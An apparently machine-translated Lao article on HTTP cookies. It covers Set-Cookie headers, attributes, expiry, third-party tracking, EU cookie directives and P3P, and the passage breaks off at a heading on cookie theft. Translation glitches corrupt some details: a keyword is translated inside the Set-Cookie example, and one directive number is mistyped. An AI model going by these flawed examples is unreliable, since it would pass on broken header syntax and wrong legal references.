navigator	→	ເຊີຟເວີ

ນີ້ແມ່ນຄໍາຮ້ອງຂໍສໍາລັບຫນ້າອື່ນຈາກເຄື່ອງແມ່ຂ່າຍດຽວກັນ, ແລະແຕກຕ່າງຈາກຫນ້າທໍາອິດຂ້າງເທິງເນື່ອງຈາກວ່າມັນມີ string ທີ່ເຄື່ອງແມ່ຂ່າຍກ່ອນຫນ້າສົ່ງໄປຫາຕົວທ່ອງເວັບ. ຂໍຂອບໃຈກັບນີ້ຫມາຍຄວາມວ່າ, ເຄື່ອງແມ່ຂ່າຍຮູ້ວ່າຄໍາຮ້ອງຂໍນີ້ເຊື່ອມຕໍ່ກັບອັນກ່ອນຫນ້າ. ເຊີບເວີຕອບສະຫນອງໂດຍການສົ່ງຫນ້າທີ່ເອີ້ນວ່າ, ແລະໂດຍການເພີ່ມ cookies ອື່ນໆໃສ່ມັນ.

ມູນຄ່າຂອງຄຸກກີສາມາດປ່ຽນແປງໄດ້ໂດຍເຄື່ອງແມ່ຂ່າຍໂດຍການສົ່ງເສັ້ນໃຫມ່ Set-Cookie: name=new_value ໃນການຕອບສະຫນອງຕໍ່ຫນ້າທີ່ເອີ້ນວ່າ. ຫຼັງຈາກນັ້ນ, ຕົວທ່ອງເວັບຈະປ່ຽນຄ່າເກົ່າດ້ວຍອັນໃຫມ່.

ເສັ້ນ Set-Cookie ປົກກະຕິແລ້ວແມ່ນສ້າງໂດຍໂຄງການ CGI ຫຼືພາສາສະຄິບອື່ນ, ບໍ່ແມ່ນໂດຍເຄື່ອງແມ່ຂ່າຍ HTTP. ເຊີບເວີ HTTP (ຕົວຢ່າງ: Apache) ພຽງແຕ່ສົ່ງຜົນໄດ້ຮັບຂອງໂປລແກລມ (ເອກະສານທີ່ນໍາຫນ້າໂດຍ header ປະກອບມີ cookies) ໄປຫາຕົວທ່ອງເວັບ.

Cookies ຍັງສາມາດຖືກກໍານົດໂດຍ JavaScript ຫຼືພາສາທີ່ຄ້າຍຄືກັນອື່ນໆທີ່ແລ່ນຢູ່ໃນຕົວທ່ອງເວັບ, i.e. ຢູ່ໃນຝ່າຍລູກຄ້າແທນທີ່ຈະເປັນຝ່າຍເຊີຟເວີ. ໃນ JavaScript, ວັດຖຸ document.cookie ຖືກໃຊ້ເພື່ອຈຸດປະສົງນີ້. ຕົວຢ່າງ, ຖະແຫຼງການ document.cookie = "temperature=20" ສ້າງ cookie ທີ່ມີຊື່ວ່າ "temperature" ແລະມີມູນຄ່າ 20.

ຄຸນລັກສະນະຂອງຄຸກກີ

ນອກເໜືອໄປຈາກຊື່/ຄູ່ມູນຄ່າ, ຄຸກກີ້ຍັງສາມາດມີວັນໝົດອາຍຸ, ເສັ້ນທາງ, ຊື່ໂດເມນ ແລະປະເພດຂອງການເຊື່ອມຕໍ່ທີ່ຕັ້ງໄວ້, ເຊັ່ນ: ປົກກະຕິ ຫຼືຖືກເຂົ້າລະຫັດ. RFC 2965 ຍັງກໍານົດວ່າ cookies ຕ້ອງມີຈໍານວນສະບັບບັງຄັບ, ແຕ່ໂດຍທົ່ວໄປແລ້ວນີ້ຈະຖືກຍົກເວັ້ນ. ພາກສ່ວນຂໍ້ມູນເຫຼົ່ານີ້ປະຕິບັດຕາມ name=new_value pair ແລະຖືກແຍກອອກໂດຍ semicolons. ຕົວຢ່າງ, ຄຸກກີສາມາດຖືກສ້າງຂື້ນໂດຍເຄື່ອງແມ່ຂ່າຍໂດຍການສົ່ງເສັ້ນ Set-Cookie: name=new_value; expires=date; ເສັ້ນທາງ =/; domain=.example.org.

ການໝົດອາຍຸຂອງຄຸກກີ

ຄຸກກີໝົດອາຍຸ ແລະບໍ່ຖືກສົ່ງໂດຍບຣາວເຊີໄປຫາເຊີບເວີໃນສະຖານະການຕໍ່ໄປນີ້:

• ເມື່ອຕົວທ່ອງເວັບຖືກປິດ, ຖ້າ cookie ບໍ່ຄົງຢູ່.
• ເມື່ອວັນຫມົດອາຍຸຂອງຄຸກກີໄດ້ຜ່ານໄປ.
• ເມື່ອວັນໝົດອາຍຸຂອງຄຸກກີຖືກປ່ຽນ (ໂດຍເຊີບເວີ ຫຼືສະຄຣິບ) ເປັນວັນທີໃນອະດີດ.
• ເມື່ອຕົວທ່ອງເວັບລຶບ cookie ຕາມຄໍາຮ້ອງຂໍຂອງຜູ້ໃຊ້.

ສະຖານະການທີສາມອະນຸຍາດໃຫ້ເຊີບເວີຫຼືສະຄິບສາມາດລຶບຄຸກກີໄດ້ຢ່າງຈະແຈ້ງ. ໃຫ້ສັງເກດວ່າມັນເປັນໄປໄດ້ກັບຕົວທ່ອງເວັບຂອງ Google Chrome ເພື່ອຮູ້ວັນຫມົດອາຍຸຂອງ cookie ໂດຍສະເພາະໂດຍການເຂົ້າເຖິງການຕັ້ງຄ່າເນື້ອຫາ. ຄຸກກີທີ່ບັນທຶກໄວ້ໃນຄອມພິວເຕີອາດຈະຍັງຄົງຢູ່ທີ່ນັ້ນເປັນເວລາຫຼາຍທົດສະວັດ ຖ້າບໍ່ມີຂັ້ນຕອນໃດໆທີ່ຈະລຶບມັນອອກ.

ຊະນີດ

ນັບຕັ້ງແຕ່ການແນະນໍາຂອງພວກເຂົາໃນອິນເຕີເນັດ, ແນວຄວາມຄິດຫຼາຍຢ່າງກ່ຽວກັບ cookies ໄດ້ແຜ່ຂະຫຍາຍຢູ່ໃນອິນເຕີເນັດແລະໃນສື່. ໃນປີ 1998, CIAC, ທີມງານຕິດຕາມກວດກາເຫດການຄອມພິວເຕີຂອງກະຊວງພະລັງງານຂອງສະຫະລັດ, ໄດ້ກໍານົດວ່າຈຸດອ່ອນດ້ານຄວາມປອດໄພຂອງຄຸກກີແມ່ນ "ບໍ່ມີຢູ່ແລ້ວ" ແລະໄດ້ອະທິບາຍວ່າ "ຂໍ້ມູນກ່ຽວກັບຕົ້ນກໍາເນີດຂອງການຢ້ຽມຢາມຂອງທ່ານແລະລາຍລະອຽດຂອງຫນ້າເວັບທີ່ທ່ານໄດ້ໄປຢ້ຽມຢາມ. ມີຢູ່ແລ້ວໃນໄຟລ໌ບັນທຶກຂອງເຊີບເວີເວັບ”. ໃນປີ 2005, ການຄົ້ນຄວ້າ Jupiter ໄດ້ເຜີຍແຜ່ຜົນຂອງການສຶກສາ, ໃນນັ້ນສ່ວນຮ້ອຍທີ່ສໍາຄັນຂອງຜູ້ຕອບພິຈາລະນາຄໍາຖະແຫຼງຕໍ່ໄປນີ້:

• Cookies ແມ່ນຄ້າຍຄື ເຊື້ອໄວຣັສ, ພວກເຂົາເຈົ້າຕິດເຊື້ອຮາດດິດຂອງຜູ້ໃຊ້.
• Cookies ສ້າງ ເດັ້ງ​ຂຶ້ນ.
• Cookies ຖືກນໍາໃຊ້ເພື່ອສົ່ງ ຂີ້ເຫຍື້ອ.
• Cookies ຖືກນໍາໃຊ້ພຽງແຕ່ສໍາລັບການໂຄສະນາ.

Cookies ບໍ່ສາມາດລຶບ ຫຼືອ່ານຂໍ້ມູນຈາກຄອມພິວເຕີຂອງຜູ້ໃຊ້ໄດ້. ຢ່າງໃດກໍຕາມ, cookies ເຮັດໃຫ້ມັນເປັນໄປໄດ້ທີ່ຈະກວດພົບຫນ້າເວັບທີ່ໄປຢ້ຽມຢາມໂດຍຜູ້ໃຊ້ຢູ່ໃນເວັບໄຊທ໌ໃດຫນຶ່ງຫຼືຊຸດຂອງສະຖານທີ່. ຂໍ້ມູນນີ້ສາມາດຖືກລວບລວມຢູ່ໃນໂປຣໄຟລ໌ຜູ້ໃຊ້ທີ່ສາມາດນໍາໃຊ້ຫຼືຂາຍຕໍ່ໃຫ້ບຸກຄົນທີສາມ, ເຊິ່ງສາມາດເຮັດໃຫ້ເກີດບັນຫາຄວາມເປັນສ່ວນຕົວທີ່ຮ້າຍແຮງ. ບາງໂປຼໄຟລ໌ແມ່ນບໍ່ເປີດເຜີຍຊື່, ໃນຄວາມຮູ້ສຶກວ່າພວກມັນບໍ່ມີຂໍ້ມູນສ່ວນຕົວ, ເຖິງແມ່ນວ່າໂປຣໄຟລ໌ດັ່ງກ່າວສາມາດເປັນຄໍາຖາມໄດ້.

ອີງຕາມການສຶກສາດຽວກັນ, ຜູ້ໃຊ້ອິນເຕີເນັດສ່ວນໃຫຍ່ບໍ່ຮູ້ວິທີລຶບ cookies. ຫນຶ່ງໃນເຫດຜົນທີ່ຄົນບໍ່ໄວ້ວາງໃຈ cookies ແມ່ນວ່າບາງເວັບໄຊທ໌ໄດ້ລ່ວງລະເມີດລັກສະນະສ່ວນບຸກຄົນຂອງ cookies ແລະແບ່ງປັນຂໍ້ມູນນີ້ກັບແຫຼ່ງອື່ນໆ. ອັດຕາສ່ວນໃຫຍ່ຂອງການໂຄສະນາເປົ້າຫມາຍແລະອີເມວທີ່ບໍ່ໄດ້ຮັບການຮ້ອງຂໍ, ຖືວ່າເປັນ spam, ມາຈາກຂໍ້ມູນທີ່ເກັບຈາກການຕິດຕາມ cookies.

ການຕັ້ງຄ່າຕົວທ່ອງເວັບ

ຕົວທ່ອງເວັບສ່ວນໃຫຍ່ສະຫນັບສະຫນູນ cookies ແລະອະນຸຍາດໃຫ້ຜູ້ໃຊ້ປິດການໃຊ້ງານ. ທາງເລືອກທົ່ວໄປທີ່ສຸດແມ່ນ:

• ເປີດໃຊ້ຫຼືປິດ cookies ຢ່າງສົມບູນ, ດັ່ງນັ້ນເຂົາເຈົ້າໄດ້ຮັບການຍອມຮັບຢ່າງຕໍ່ເນື່ອງຫຼືຖືກບລັອກ.
• ອະນຸຍາດໃຫ້ຜູ້ໃຊ້ເບິ່ງ cookies ທີ່ໃຊ້ວຽກຢູ່ໃນຫນ້າໃດຫນຶ່ງ, ໂດຍການໃສ່ javascript: alert(document.cookie) ໃນແຖບທີ່ຢູ່ຂອງຕົວທ່ອງເວັບ. ບາງຕົວທ່ອງເວັບລວມເອົາຕົວຈັດການຄຸກກີສໍາລັບຜູ້ໃຊ້ທີ່ສາມາດເບິ່ງແລະເລືອກລຶບ cookies ທີ່ເກັບໄວ້ໃນປັດຈຸບັນໂດຍຕົວທ່ອງເວັບ.

ຕົວທ່ອງເວັບສ່ວນໃຫຍ່ຍັງອະນຸຍາດໃຫ້ລຶບຂໍ້ມູນສ່ວນຕົວເຕັມທີ່ເຊິ່ງປະກອບມີ cookies. ໂມດູນເພີ່ມເຕີມເພື່ອຄວບຄຸມການອະນຸຍາດຄຸກກີຍັງມີຢູ່.

ຄວາມເປັນສ່ວນຕົວ ແລະຄຸກກີ້ພາກສ່ວນທີສາມ

ໃນຕົວຢ່າງທີ່ສົມມຸດຕິຖານນີ້, ບໍລິສັດໂຄສະນາໄດ້ວາງປ້າຍໂຄສະນາຢູ່ໃນສອງເວັບໄຊທ໌. ໂດຍການເປັນເຈົ້າພາບປ້າຍໂຄສະນາໃນເຄື່ອງແມ່ຂ່າຍຂອງມັນແລະນໍາໃຊ້ cookies ພາກສ່ວນທີສາມ, ບໍລິສັດໂຄສະນາສາມາດຕິດຕາມການນໍາທາງຂອງຜູ້ໃຊ້ຜ່ານສອງເວັບໄຊທ໌ນີ້.

Cookies ມີຜົນກະທົບທີ່ສໍາຄັນຕໍ່ຄວາມເປັນສ່ວນຕົວແລະການປິດບັງຊື່ຂອງຜູ້ໃຊ້ເວັບ. ເຖິງແມ່ນວ່າ cookies ພຽງແຕ່ຖືກສົ່ງໄປຫາເຄື່ອງແມ່ຂ່າຍທີ່ກໍານົດໃຫ້ເຂົາເຈົ້າຫຼືເຄື່ອງແມ່ຂ່າຍທີ່ເປັນຂອງໂດເມນອິນເຕີເນັດດຽວກັນ, ແນວໃດກໍ່ຕາມຫນ້າເວັບອາດຈະປະກອບດ້ວຍຮູບພາບຫຼືອົງປະກອບອື່ນໆທີ່ເກັບໄວ້ໃນເຄື່ອງແມ່ຂ່າຍຂອງໂດເມນອື່ນໆ. cookies ທີ່ຖືກກໍານົດໃນລະຫວ່າງການຟື້ນຕົວຂອງອົງປະກອບພາຍນອກເຫຼົ່ານີ້ຖືກເອີ້ນວ່າ ຄຸກກີພາກສ່ວນທີສາມ. ນີ້ປະກອບມີ cookies ຈາກປ່ອງຢ້ຽມປ໊ອບອັບທີ່ບໍ່ຕ້ອງການ.

ບໍລິສັດໂຄສະນາໃຊ້ cookies ພາກສ່ວນທີສາມເພື່ອຕິດຕາມຜູ້ໃຊ້ໃນທົ່ວເວັບໄຊທ໌ຕ່າງໆທີ່ພວກເຂົາໄປຢ້ຽມຢາມ. ໂດຍສະເພາະ, ບໍລິສັດໂຄສະນາສາມາດຕິດຕາມຜູ້ໃຊ້ທົ່ວທຸກຫນ້າທີ່ມັນວາງຮູບພາບໂຄສະນາຫຼື pixel ຕິດຕາມ. ຄວາມຮູ້ກ່ຽວກັບຫນ້າທີ່ໄດ້ໄປຢ້ຽມຢາມໂດຍຜູ້ໃຊ້ອະນຸຍາດໃຫ້ບໍລິສັດໂຄສະນາເປົ້າຫມາຍການໂຄສະນາທີ່ມັກຂອງຜູ້ໃຊ້.

ຄວາມສາມາດໃນການສ້າງໂປຣໄຟລ໌ຜູ້ໃຊ້ຖືກພິຈາລະນາໂດຍບາງຄົນວ່າເປັນການບຸກລຸກຄວາມເປັນສ່ວນຕົວ, ໂດຍສະເພາະໃນເວລາທີ່ການຕິດຕາມແມ່ນເຮັດໃນທົ່ວໂດເມນທີ່ແຕກຕ່າງກັນໂດຍໃຊ້ cookies ຂອງພາກສ່ວນທີສາມ. ສໍາລັບເຫດຜົນນີ້, ບາງປະເທດມີກົດຫມາຍຄຸກກີ.

ລັດຖະບານສະຫະລັດອາເມລິກາໄດ້ປະຕິບັດກົດລະບຽບທີ່ເຂັ້ມງວດໃນການຈັດວາງ cookies ໃນປີ 2000, ຫຼັງຈາກມີການເປີດເຜີຍວ່າຫ້ອງການນະໂຍບາຍຢາເສບຕິດຂອງທໍານຽບຂາວກໍາລັງໃຊ້ cookies ເພື່ອຕິດຕາມຄອມພິວເຕີຂອງຜູ້ໃຊ້ທີ່ເບິ່ງການໂຄສະນາຢາອອນໄລນ໌. ໃນປີ 2002, ນັກເຄື່ອນໄຫວຄວາມເປັນສ່ວນຕົວ Daniel Brandt ຄົ້ນພົບວ່າ CIA ໄດ້ປະໄວ້ cookies ທີ່ຄົງຄ້າງຢູ່ໃນຄອມພິວເຕີທີ່ໄດ້ໄປຢ້ຽມຢາມເວັບໄຊທ໌ຂອງຕົນ. ເມື່ອແຈ້ງໃຫ້ຊາບກ່ຽວກັບການລະເມີດນີ້, CIA ໄດ້ປະກາດວ່າ cookies ເຫຼົ່ານີ້ບໍ່ໄດ້ຕັ້ງໃຈສົ່ງແລະຢຸດເຊົາການຕັ້ງພວກມັນ. ໃນວັນທີ 25 ເດືອນທັນວາ 2005, Brandt ຄົ້ນພົບວ່າອົງການຄວາມປອດໄພແຫ່ງຊາດ (NSA) ໄດ້ປະໄວ້ສອງຄຸກກີ້ທີ່ຄົງຄ້າງຢູ່ໃນຄອມພິວເຕີຂອງຜູ້ເຂົ້າຊົມເນື່ອງຈາກມີການປັບປຸງຊອບແວ. ຫຼັງ​ຈາກ​ໄດ້​ຮັບ​ແຈ້ງ​ການ​, NSA ໄດ້​ປິດ​ການ​ທໍາ​ງານ cookies ໃນ​ທັນ​ທີ​.

ໃນສະຫະລາຊະອານາຈັກ, ໄດ້ ກົດໝາຍຄຸກກີ ", ໄດ້ມີຜົນບັງຄັບໃຊ້ໃນວັນທີ 25 ເດືອນພຶດສະພາປີ 2012, ບັງຄັບໃຫ້ເວັບໄຊທ໌ປະກາດຄວາມຕັ້ງໃຈຂອງພວກເຂົາ, ດັ່ງນັ້ນຜູ້ໃຊ້ສາມາດເລືອກວ່າພວກເຂົາຕ້ອງການອອກຈາກຮ່ອງຮອຍຫຼືບໍ່ແມ່ນເສັ້ນທາງຂອງພວກເຂົາໃນອິນເຕີເນັດ. ດັ່ງນັ້ນເຂົາເຈົ້າສາມາດປ້ອງກັນຈາກການກໍານົດເປົ້າຫມາຍການໂຄສະນາ. ແນວໃດກໍ່ຕາມ, ອີງ​ຕາມ ຜູ້ປົກຄອງ, ການຍິນຍອມຂອງຜູ້ໃຊ້ອິນເຕີເນັດແມ່ນບໍ່ຈໍາເປັນຢ່າງຈະແຈ້ງ; ການປ່ຽນແປງໄດ້ຖືກເຮັດໃຫ້ເງື່ອນໄຂການຍິນຍອມຂອງຜູ້ໃຊ້, ເຮັດໃຫ້ມັນ ສະ​ແດງ​ໃຫ້​ເຫັນ​ດັ່ງ​ນັ້ນ​.

ຄຳສັ່ງ 2002/58 ກ່ຽວກັບຄວາມເປັນສ່ວນຕົວ

ຄໍາສັ່ງ 202/58 ຄວາມເປັນສ່ວນຕົວແລະການສື່ສານເອເລັກໂຕຣນິກ, ມີກົດລະບຽບການນໍາໃຊ້ cookies. ໂດຍສະເພາະ, ມາດຕາ 5, ວັກ 3 ຂອງຄໍາສັ່ງນີ້ຮຽກຮ້ອງໃຫ້ເກັບຮັກສາຂໍ້ມູນ (ເຊັ່ນ cookies) ໃນຄອມພິວເຕີຂອງຜູ້ໃຊ້ສາມາດເຮັດໄດ້ພຽງແຕ່ຖ້າ:

• ຜູ້ໃຊ້ໄດ້ຖືກແຈ້ງໃຫ້ຊາບກ່ຽວກັບວິທີການນໍາໃຊ້ຂໍ້ມູນ;
• ຜູ້ໃຊ້ໄດ້ຮັບທາງເລືອກໃນການປະຕິເສດການດໍາເນີນງານການເກັບຮັກສານີ້. ຢ່າງໃດກໍ່ຕາມ, ບົດຄວາມນີ້ຍັງລະບຸວ່າການເກັບຮັກສາຂໍ້ມູນສໍາລັບເຫດຜົນດ້ານວິຊາການແມ່ນໄດ້ຮັບການຍົກເວັ້ນຈາກກົດຫມາຍນີ້.

ເນື່ອງ​ຈາກ​ໄດ້​ຮັບ​ການ​ປະ​ຕິ​ບັດ​ໃນ​ເດືອນ​ຕຸ​ລາ 2003, ຄໍາ​ສັ່ງ​ດັ່ງ​ກ່າວ​ໄດ້​ຮັບ​ການ​ປະ​ຕິ​ບັດ​ຢ່າງ​ບໍ່​ສົມ​ບູນ​ໂດຍ​ອີງ​ຕາມ​ການ​ລາຍ​ງານ​ຂອງ​ເດືອນ​ທັນ​ວາ 2004, ເຊິ່ງ​ຍັງ​ໄດ້​ຊີ້​ໃຫ້​ເຫັນ​ວ່າ​ບາງ​ປະ​ເທດ​ສະ​ມາ​ຊິກ (ສະ​ໂລ​ວາ​ເກຍ​, ລັດ​ເວຍ​, ເກຣັກ​, ແບນ​ຊິກ​ແລະ Luxembourg​) ຍັງ​ບໍ່​ທັນ​ໄດ້​ຫັນ​ປ່ຽນ​. ຄຳສັ່ງ​ຂອງ​ກົດໝາຍ​ພາຍ​ໃນ​ປະ​ເທດ.

ອີງຕາມຄວາມຄິດເຫັນຂອງ G29 ໃນປີ 2010, ຄໍາແນະນໍານີ້, ໂດຍສະເພາະແມ່ນເງື່ອນໄຂການນໍາໃຊ້ cookies ສໍາລັບຈຸດປະສົງການໂຄສະນາພຶດຕິກໍາ, ການຍິນຍອມເຫັນດີຢ່າງຊັດເຈນຂອງຜູ້ໃຊ້ອິນເຕີເນັດຍັງຖືກນໍາໃຊ້ບໍ່ດີຫຼາຍ. ໃນຄວາມເປັນຈິງ, ເວັບໄຊທ໌ສ່ວນໃຫຍ່ເຮັດແນວນັ້ນໃນວິທີທີ່ບໍ່ປະຕິບັດຕາມຄໍາແນະນໍາ, ໂດຍຈໍາກັດຕົວເອງກັບ "ປ້າຍໂຄສະນາ" ທີ່ງ່າຍດາຍທີ່ຈະແຈ້ງໃຫ້ຊາບກ່ຽວກັບການນໍາໃຊ້ "ຄຸກກີ" ໂດຍບໍ່ມີການໃຫ້ຂໍ້ມູນກ່ຽວກັບການນໍາໃຊ້, ໂດຍບໍ່ມີຄວາມແຕກຕ່າງລະຫວ່າງ cookies "ດ້ານວິຊາການ". cookies "ຕິດຕາມ", ຫຼືສະເຫນີທາງເລືອກທີ່ແທ້ຈິງກັບຜູ້ໃຊ້ທີ່ຕ້ອງການຮັກສາ cookies ດ້ານວິຊາການ (ເຊັ່ນ cookies ການຈັດການກະຕ່າຊື້ເຄື່ອງ) ແລະປະຕິເສດ "ຕິດຕາມ" cookies. ໃນຄວາມເປັນຈິງ, ຫຼາຍໆສະຖານທີ່ເຮັດວຽກບໍ່ຖືກຕ້ອງຖ້າ cookies ຖືກປະຕິເສດ, ເຊິ່ງບໍ່ປະຕິບັດຕາມຄໍາແນະນໍາ 2002/58 ຫຼື directive 95/46 (ການປົກປ້ອງຂໍ້ມູນສ່ວນບຸກຄົນ).

ຄຳສັ່ງ 2009/136/ສສ

ເອກະສານນີ້ໄດ້ຖືກປັບປຸງໂດຍຄໍາສັ່ງ 2009/136/EC ລົງວັນທີ 25 ພະຈິກ 2009 ເຊິ່ງລະບຸວ່າ "ການເກັບຮັກສາຂໍ້ມູນ, ຫຼືການເຂົ້າເຖິງຂໍ້ມູນທີ່ເກັບໄວ້ແລ້ວ, ໃນອຸປະກອນສະຖານີຂອງຜູ້ຈອງຫຼືຜູ້ໃຊ້ແມ່ນອະນຸຍາດໃນເງື່ອນໄຂທີ່ ຜູ້ຈອງຫຼືຜູ້ໃຊ້ໄດ້ໃຫ້ການຍິນຍອມຂອງລາວ, ຫຼັງຈາກໄດ້ຮັບ, ໂດຍປະຕິບັດຕາມຄໍາສັ່ງ 95/46/EC, ຂໍ້ມູນທີ່ຊັດເຈນແລະຄົບຖ້ວນ, ລະຫວ່າງຜູ້ອື່ນກ່ຽວກັບຈຸດປະສົງຂອງການປຸງແຕ່ງ”. ຄໍາສັ່ງໃຫມ່ດັ່ງນັ້ນຈຶ່ງເສີມສ້າງພັນທະກ່ອນທີ່ຈະວາງ cookies ໃນຄອມພິວເຕີຂອງຜູ້ໃຊ້ອິນເຕີເນັດ.

ໃນການພິຈາລະນາເບື້ອງຕົ້ນຂອງຄໍາສັ່ງ, ສະພານິຕິບັນຍັດເອີຣົບໄດ້ກໍານົດວ່າ: "ຖ້າເປັນໄປໄດ້ທາງດ້ານເຕັກນິກແລະປະສິດທິຜົນ, ອີງຕາມຂໍ້ກໍານົດທີ່ກ່ຽວຂ້ອງຂອງຄໍາສັ່ງ 95/46 / EC, ການຍິນຍອມຂອງຜູ້ໃຊ້ກ່ຽວກັບການປຸງແຕ່ງອາດຈະສະແດງອອກໂດຍຜ່ານ ການນໍາໃຊ້ການຕັ້ງຄ່າທີ່ເຫມາະສົມຂອງຕົວທ່ອງເວັບຫຼືຄໍາຮ້ອງສະຫມັກອື່ນໆ." ແຕ່ຄວາມຈິງແລ້ວ, ບໍ່ມີຕົວທ່ອງເວັບໃດໆມາເຖິງປະຈຸບັນເຮັດໃຫ້ມັນເປັນໄປໄດ້ທີ່ຈະແຍກ cookies ດ້ານວິຊາການທີ່ຈໍາເປັນຈາກທາງເລືອກທີ່ຄວນຈະຖືກປ່ອຍໃຫ້ເປັນທາງເລືອກຂອງຜູ້ໃຊ້.

ຄຳສັ່ງສະບັບໃໝ່ນີ້ໄດ້ຖືກຖ່າຍທອດໂດຍສະມາຊິກສະພາຂອງແບນຊິກ ໃນເດືອນກໍລະກົດ ປີ 2012. ການສຶກສາປີ 2014 ສະແດງໃຫ້ເຫັນວ່າ ແມ່ນແຕ່ສະມາຊິກລັດຖະສະພາຍັງຕໍ່ສູ້ເພື່ອສະໝັກ. ຂໍ້ຈໍາກັດຂອງຄໍາສັ່ງ.

P3P

ຂໍ້ມູນຈໍາເພາະຂອງ P3P ປະກອບມີຄວາມສາມາດສໍາລັບເຄື່ອງແມ່ຂ່າຍທີ່ຈະລະບຸນະໂຍບາຍຄວາມເປັນສ່ວນຕົວ, ເຊິ່ງກໍານົດປະເພດຂອງຂໍ້ມູນທີ່ມັນເກັບກໍາແລະເພື່ອຈຸດປະສົງໃດ. ນະ​ໂຍ​ບາຍ​ເຫຼົ່າ​ນີ້​ລວມ​ມີ (ແຕ່​ບໍ່​ຈໍາ​ກັດ​) ການ​ນໍາ​ໃຊ້​ຂໍ້​ມູນ​ທີ່​ເກັບ​ກໍາ​ໂດຍ​ການ​ນໍາ​ໃຊ້ cookies​. ອີງຕາມຄໍານິຍາມຂອງ P3P, ຕົວທ່ອງເວັບສາມາດຍອມຮັບຫຼືປະຕິເສດ cookies ໂດຍການປຽບທຽບນະໂຍບາຍຄວາມເປັນສ່ວນຕົວກັບຄວາມມັກຂອງຜູ້ໃຊ້ຫຼືໂດຍການຖາມຜູ້ໃຊ້, ນໍາສະເຫນີນະໂຍບາຍຄວາມເປັນສ່ວນຕົວທີ່ປະກາດໂດຍເຄື່ອງແມ່ຂ່າຍ.

ຕົວທ່ອງເວັບຈໍານວນຫຼາຍ, ລວມທັງ Apple Safari ແລະ Microsoft Internet Explorer ຮຸ່ນ 6 ແລະ 7, ສະຫນັບສະຫນູນ P3P ເຊິ່ງອະນຸຍາດໃຫ້ຕົວທ່ອງເວັບກໍານົດວ່າຈະຍອມຮັບການເກັບຮັກສາຄຸກກີພາກສ່ວນທີສາມຫຼືບໍ່. ຕົວທ່ອງເວັບ Opera ອະນຸຍາດໃຫ້ຜູ້ໃຊ້ປະຕິເສດ cookies ພາກສ່ວນທີສາມແລະສ້າງໂປຣໄຟລ໌ຄວາມປອດໄພທົ່ວໂລກແລະສະເພາະສໍາລັບໂດເມນອິນເຕີເນັດ. Mozilla Firefox ເວີຊັ່ນ 2 ຫຼຸດລົງການຮອງຮັບ P3P ແຕ່ໄດ້ຟື້ນຟູໃນເວີຊັນ 3.

ຄຸກກີພາກສ່ວນທີສາມສາມາດຖືກບລັອກໂດຍຕົວທ່ອງເວັບສ່ວນໃຫຍ່ເພື່ອເພີ່ມຄວາມເປັນສ່ວນຕົວແລະຫຼຸດຜ່ອນການຕິດຕາມການໂຄສະນາ, ໂດຍບໍ່ມີຜົນກະທົບທາງລົບຕໍ່ປະສົບການເວັບຂອງຜູ້ໃຊ້. ຫຼາຍອົງການໂຄສະນາສະເຫນີທາງເລືອກ ເລືອກອອກ ຕໍ່ກັບການໂຄສະນາເປົ້າຫມາຍ, ໂດຍການຕັ້ງຄ່າ cookie ທົ່ວໄປໃນຕົວທ່ອງເວັບທີ່ປິດການກໍາຫນົດເປົ້າຫມາຍນີ້, ແຕ່ການແກ້ໄຂດັ່ງກ່າວບໍ່ມີຜົນບັງຄັບໃຊ້, ເມື່ອມັນຖືກເຄົາລົບ, ເພາະວ່າ cookies ທົ່ວໄປນີ້ຈະຖືກລຶບທັນທີທີ່ຜູ້ໃຊ້ລຶບ cookies ເຫຼົ່ານີ້ທີ່ຍົກເລີກການເລືອກ. ອອກ​ການ​ຕັດ​ສິນ​ໃຈ​.

ຂໍ້ເສຍຂອງ cookies

ນອກເຫນືອໄປຈາກບັນຫາຄວາມເປັນສ່ວນຕົວ, cookies ຍັງມີຂໍ້ບົກຜ່ອງດ້ານວິຊາການບາງຢ່າງ. ໂດຍສະເພາະ, ພວກເຂົາບໍ່ໄດ້ກໍານົດຜູ້ໃຊ້ຢ່າງຖືກຕ້ອງສະເຫມີ, ພວກເຂົາສາມາດຊ້າລົງການປະຕິບັດເວັບໄຊທ໌ໃນເວລາທີ່ມີຈໍານວນຫຼວງຫຼາຍ, ພວກເຂົາສາມາດຖືກນໍາໃຊ້ສໍາລັບການໂຈມຕີຄວາມປອດໄພ, ແລະພວກເຂົາຂັດແຍ້ງກັບການໂອນລັດຕົວແທນ, ແບບສະຖາປັດຕະຍະກໍາຂອງຊອບແວ.

ການລະບຸຕົວຕົນທີ່ບໍ່ຊັດເຈນ

ຖ້າຫຼາຍກວ່າຫນຶ່ງຕົວທ່ອງເວັບຖືກນໍາໃຊ້ໃນຄອມພິວເຕີ, ໃນແຕ່ລະພວກມັນມີຫນ່ວຍເກັບຂໍ້ມູນແຍກຕ່າງຫາກສໍາລັບ cookies. ດັ່ງນັ້ນ Cookies ບໍ່ໄດ້ລະບຸບຸກຄົນ, ແຕ່ການລວມກັນຂອງບັນຊີຜູ້ໃຊ້, ຄອມພິວເຕີ, ແລະຕົວທ່ອງເວັບຂອງເວັບໄຊຕ໌. ດັ່ງນັ້ນ, ທຸກຄົນສາມາດໃຊ້ບັນຊີເຫຼົ່ານີ້, ຄອມພິວເຕີ, ຫຼືຕົວທ່ອງເວັບທີ່ມີ panoply ຂອງ cookies. ເຊັ່ນດຽວກັນ, cookies ບໍ່ໄດ້ແຍກຄວາມແຕກຕ່າງລະຫວ່າງຜູ້ໃຊ້ຫຼາຍຄົນທີ່ແບ່ງປັນບັນຊີຜູ້ໃຊ້ດຽວກັນ, ຄອມພິວເຕີ, ແລະຕົວທ່ອງເວັບ, ເຊັ່ນໃນ "ຮ້ານອິນເຕີເນັດ" ຫຼືສະຖານທີ່ໃຫ້ການເຂົ້າເຖິງຟຣີກັບຊັບພະຍາກອນຄອມພິວເຕີ.

ແຕ່ໃນການປະຕິບັດຄໍາຖະແຫຼງການນີ້ກາຍເປັນເລື່ອງຜິດໆໃນກໍລະນີສ່ວນໃຫຍ່ເພາະວ່າມື້ນີ້ຄອມພິວເຕີ "ສ່ວນບຸກຄົນ" (ຫຼືໂທລະສັບສະຫຼາດ, ຫຼືແທັບເລັດ, ເຊິ່ງຮ້າຍແຮງກວ່າເກົ່າ) ແມ່ນຖືກນໍາໃຊ້ໂດຍບຸກຄົນດຽວ. ໂດຍຜ່ານປະລິມານຂອງຂໍ້ມູນທີ່ເກັບກໍາມາເຖິງການກໍາຫນົດເປົ້າຫມາຍສ່ວນບຸກຄົນເຖິງແມ່ນວ່າບຸກຄົນນັ້ນບໍ່ໄດ້ "ຊື່" ກໍານົດ.

ການລັກຄຸກກີ

